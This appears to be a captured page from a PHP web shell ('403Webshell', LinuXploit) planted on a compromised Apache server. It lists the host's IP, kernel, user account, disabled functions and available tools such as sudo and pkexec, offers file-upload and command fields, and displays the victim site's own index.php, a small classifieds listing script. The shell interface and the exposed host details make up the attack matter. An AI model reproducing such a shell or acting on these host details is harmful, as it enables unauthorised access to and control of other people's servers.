403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/masrur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/masrur/index.php
<?php 
include 'tpl.php';
$tpl_data['pr']='';
$q = mysql_query("SELECT count(memberid) as count FROM `members` LIMIT 1");
$mem_count = mysql_fetch_assoc($q);
$tpl_data['mem_count'] = $mem_count = round ( $mem_count['count'],-2);

$q = mysql_query("SELECT count(adid) as count FROM `ads`");
$list_count = mysql_fetch_assoc($q);
$tpl_data['list_count'] = $list_count = round ( $list_count['count'],-2);

$c_q = mysql_query("SELECT sum(pop) as c_count FROM `cats`") or die(mysql_error());
$l_q = mysql_query("SELECT SUM(pop) as l_count FROM `locations`") or die(mysql_error());
$cats_count = mysql_fetch_assoc($c_q);
$loc_count = mysql_fetch_assoc($l_q);
$tpl_data['pop_count'] = $pop_count = round ( ($cats_count['c_count']+$loc_count['l_count']),-2);

$q = mysql_query("SELECT * FROM `ads` WHERE `active`='1' ORDER BY adid DESC LIMIT 10");
while($row = mysql_fetch_assoc($q)){
    //print_r($row);
    foreach($row as $k=>$v){
        ${'p_'.$k} = $v;
    }
    $p_image = ($p_image?'/members/uploads/logo/'.$p_image:'/img/no_logo.png');
    $p_description = strlen($p_description) > 200 ? trim(substr($p_description,0,200),"\s")."..." : $p_description;
    $tpl_data['pr'].='
    <div class="product two_view">
        <div class="inner_cn">
            <div class="pr_img"><a href=""><img src="'.$p_image.'"></a></div>
            <div class="pr_details">
                <a href="" class="pr_title">'.$p_companyname.'</a>
                <div href="" class="pr_desc">'.$p_description.'</div>
                <a href="">See more...</a>
            </div>        
        </div>
    </div>';
}


$tpl = curl('hompage.html');
$tpl_data['header'] = curl('header.html');
say($tpl,$tpl_data,false);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit